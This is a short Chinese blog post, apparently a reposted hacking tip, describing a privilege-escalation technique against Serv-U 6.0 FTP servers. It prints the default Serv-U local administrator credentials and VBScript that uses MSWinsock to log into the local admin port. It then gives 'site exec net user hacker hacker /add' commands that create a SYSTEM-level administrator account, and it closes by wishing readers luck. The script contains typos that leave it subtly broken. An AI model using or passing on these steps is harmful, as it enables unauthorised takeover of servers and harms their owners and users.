 

Serv-u6.0提权新招 _入侵防御_网络安全_

2024-03-23 11:47:40 浏览量(1)

适用环境：服务器禁用FSO，关掉Wscript.shelll,没有执行权限。限制：没有更改管理员的密码，或者破解出了Serv-U的管理员的密码。Serv-U默认用户名：localadministrator 密码：#|@$ak#.|k;0@p 下面用MSWinsock。Winsock建立一个连接，并且以System权限添加超级用户，代码如下：以下是引用片段： Dim revdata Dim sendata Set sock=createobject(“MSWinsock.Winsock”) Sock.protocol=0 Sock.connect “127.0.0.1”,43958 Sendata=”LocalAdministrator”& chr(10) &chr(13) Sock.senddata snedata Sendata=”#|@$ak#.|k;0@p” &chr(10) &chr(13) Sock.senddata.sendata

使用这个代码就可以连上FTP了，接下来用Sock.senddata sendata 发送添加有执行权限用户的命令，想必大家该知道怎么做了吧，对了，就是用”site exec net user hacker hacker /add” “site exec net localgroup administrators hacker /add” 呵呵，就这样系统权限到手了，祝大家好运！

【声明】：本博客不参与任何交易，也非中介，仅记录个人感兴趣的主机测评结果和优惠活动，内容均不作直接、间接、法定、约定的保证。访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客，即表示您已经知晓并接受了此声明通告。

分享到